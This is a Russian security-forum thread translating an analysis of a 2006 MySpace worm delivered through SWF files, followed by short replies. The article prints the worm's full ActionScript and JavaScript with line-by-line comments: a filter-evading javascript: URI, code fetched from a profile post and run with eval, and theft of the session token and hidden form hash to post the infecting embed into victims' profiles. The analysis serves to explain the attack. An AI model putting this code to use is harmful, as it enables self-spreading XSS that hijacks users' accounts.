Авторские статьи Обзор работы SWF паразита. (на MySpace.com)

Discussion in 'Статьи' started by max_pain89, 27 Aug 2006.

  1. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    #####################
    # Автор: sp3x (securityreason.com)
    # Перевод: max_pain89
    # Читобельно (rus+eng)
    #


    Обзор работы SWF паразита. (на MySpace.com)

    Для начала: Это не я хаццкер. Я просто скачал эти .swf'ки, декомпилирал их, заглянул в ActionScript(AS), немного исследовал, нашел используемые ЯваСкрипты для хака, и расписал их действия и последствия.

    Когда вы посещаете зараженную страничку, там находится заэмбеденная флэшка (embedded SWF) ("redirect.swf") которая содержит AS сценарий:


    getURL("http://editprofile.myspace.com/index.cfm?fuseaction=blog.view&friendID=93634373&blogID=144877075", "_self");

    УРЛ говорит сам за себя - он открывает другой блог.

    В этом блоге лежит уже другая SWF, с именем "retrievecookie.swf". В ней находится:


    getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\'<br>\')!=-1)||(sc.indexOf(\'-XXX\')!=-1)){var n=sc.indexOf(\'<br>\');if(n==-1)n=sc.indexOf(\'-XXX\');sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};" + "eval(sc);}};" + "x.send(null);", "");

    Что выглядит довольно сложно, как бы то нибыло, давайте разберем с комментариями:

    getURL("
    javas\n\r
    cript:

    //в браузере пользователя превратиться в: "javascript:"
    //так что рекомендую ребятам из MySpace заблокировать это

    var x = new ActiveXObject(\'Msxml2.XMLHTTP\');
    // загружаем новый xmlHTTP object, присваеваим имя "x"
    x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);
    // Это открывает другой пост, на вышеуказаном УРЛ. Текст поста и УРЛ ниже
    x.onreadystatechange = function()
    // далее состояние готовности xmlHTTP объекта изменяется:

    {
    if (x.readyState==4)


    //условие готовности (от 0 до 4, iirc)
    {
    var pg = x.responseText;​

    //код, который берет исходный код страницы
    var sc = pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));
    //"sc" присваеваится значение из кода страницы
    // конец "BX-" (+3 символа) далее, пока не начнется
    // "-EX", все тот же противный JS.

    while ( (sc.indexOf(\'<br>\')!=-1) || (sc.indexOf(\'-XXX\')!=-1) )
    // если "sc" (код) не содержит "<br>" или "-XXX" тогда:
    {
    var n=sc.indexOf(\'<br>\');
    // n начинает искать "<br>" в "sc"
    if (n==-1)
    n=sc.indexOf(\'-XXX\');​

    // если он не находит "<br>", то он стартует искать "-XXX"
    // все задумано очень умно, скрипт сохраняет > закрытие embed тэга
    // что нужно, для создания эмбеда, и удаления "-XXX"
    // но не удаления последнего символа!

    sc = sc.substring(0,n)+sc.substring(n+5,sc.length);
    // теперь sc от начала (0), до n, а мы помним что n это либо "<br>", либо "-XXX".
    // далее перемещаемся в бит n+5 и до конца sc,
    // по существу, это вырезает каку из поста и сохраняет его в туже переменную.
    // такая операция нужна для обхода фильтров, я полагаю.
    };
    // повторение цикла и удаление -XXX'ов из поста
    " + "eval(sc);
    // исполнение "sc" - вот для чего все это и делалось.
    } // конец readystate==4 "if" (условия)
    }; //конец функции
    " // закрывающая ковычка getURL() функции
    +
    "
    x.send(null);

    // добавляет "null" к отправленному xmlHTTP объекту.
    ", ""
    // просто так, это всего лишь исполнение.
    );// полный П getURL функции.

    Вобщем, это тянет пост откуда-нибуть с другого места на MySpace и выполняет содержащийся код.

    Вот пример поста:


    BX-var msg='-XXXX<-XXX<br>
    XE-XXXXM-XXXXB-XXXXE-XXXXD-XXXX src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS';function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){ Q=Q.replace('+', '%2B')}while(Q.indexOf('&')!=-1){ Q=Q.replace('&', '%26')}N+=P+'='+Q;O++ } return N};function getToken(page){ var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token;};function getHashCode(page){ var start = page.indexOf('name="hash" value="'); hash = page.substring(start+19, start+19+216); return hash;};var xmlht-XXXXtp = x;var post = new Array();post['submit']='Preview';post['interest']=msg;post['interestLabel']='aboutme';var postsz = paramsToString(post); var token = getToken(xmlhttp.responseText);xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);ev-XXXXal('xmlhttp.onreadys-XXXXtatechange=editReady;');xmlhttp.send(postsz);function editReady(){if (xmlhttp.readyState==4){post = new Array();post['submit']='Submit';post['hash']=getHashCode(xmlhttp.responseText);post['interest']=msg;post['interestLabel']='aboutme';postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);xmlhttp.send(postsz);}};-EX​

    Зачистка (всякие -XXX's, и т.п.) удаление + комментарии:

    var msg='<EMBED src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS';
    // msg - наше сообщение.
    function paramsToString (AV)
    {
    var N=new String();
    var O=0;
    for (var P in AV)
    {
    if (O>0)
    {
    N+='&'

    // если это не "прогонка", добавляет "&" к значению, чтобы разделить значения запроса.
    }

    var Q=escape(AV[P]);

    while (Q.indexOf('+')!=-1)
    {
    Q=Q.replace('+', '%2B')

    // заменяет "+" на "%2B" - простое урл кодирование
    }
    while (Q.indexOf('&')!=-1)
    {
    Q=Q.replace('&', '%26')

    // опять же, кодирование "&".
    }
    N+= P + '=' + Q;
    O++
    }
    return N
    };

    // превращает перечень параметров в массив и УРЛ кодирует.

    function getToken (page)
    {
    var start = page.indexOf('Mytoken=');
    token = page.substring(start+8, start+8+36);
    return token;
    };

    // выдерает некого token, наверное сессия, ваш token в УРЛ ... упс.

    function getHashCode (page)
    {
    var start = page.indexOf('name="hash" value="');
    hash = page.substring(start+19, start+19+216);
    return hash;
    };

    // выдерает ваш хэш, который должен быть как бы секретным значением
    // он находиться в input c type=hidden. Молодцы MySpace.


    var xmlhttp = x;
    var post = new Array();
    post['submit']='Preview';
    post['interest']=msg;
    post['interestLabel']='aboutme';

    // загружает начинку "msg", и другие значения в массив "post"
    var postsz = paramsToString(post);
    // легким движением функции, массив "post" превращается в строчку, примерно так
    // ДО - 1,2,3; ПОСЛЕ - 1&2&3 и урл закодировано

    var token = getToken(xmlhttp.responseText);
    // грузит ваш token из ответа
    xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
    // новый xmlHTTp объект.
    xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token,true);
    // открываем профиль .. работа через xmlHTTP объект.

    xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    // посылаем HTTP заголовок, который сообщает что мы посылаем в закодированном виде.
    xmlhttp.setRequestHeader('Content-Length', postsz.length);
    eval('xmlhttp.onreadystatechange=editReady;');

    // выполняет функцию снизу, когда "готовность" изменяется.
    xmlhttp.send(postsz);
    // ПОСЛАТЬ! - происходят изменения в вашем профиле и в блоге появляется нехороший пост
    function editReady()
    {
    if (xmlhttp.readyState==4)
    {
    post = new Array();
    post['submit']='Submit';
    post['hash']=getHashCode(xmlhttp.responseText);
    post['interest']=msg;
    post['interestLabel']='aboutme';
    postsz = paramsToString(post);
    token = getToken(xmlhttp.responseText);
    xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
    xmlhttp.open('POST','http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken='+token,true); xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlhttp.setRequestHeader('Content-Length', postsz.length);
    xmlhttp.send(postsz);
    }
    };


    После этого процесс выполняется уже с другим юзером.

    Так что вот так.

    Мыльте мне: kinematic.theory[angry_dog]googlemail.com

    ЗЫ: Автору, очень умный код, нормалек - Мне конечно не стоило бы тебя поздравлять, но какого черта :)
     
  2. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    упс, вот это
    // если это не "прогонка", добавляет "&" к значению, чтобы разделить значения запроса.

    надо заменить на

    // если это не первая "прогонка", добавляет "&" к значению, чтобы разделить значения запроса.

    =) ошипка =(
     
  3. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    у нас до сих пор небыло обзоров хсс через флэш, хотя атаке уже почти год.
    Спасибо МаксПэйну.
    Кто найдёт или напишет статьи по этой теме - просьба публиковать. Будем рады.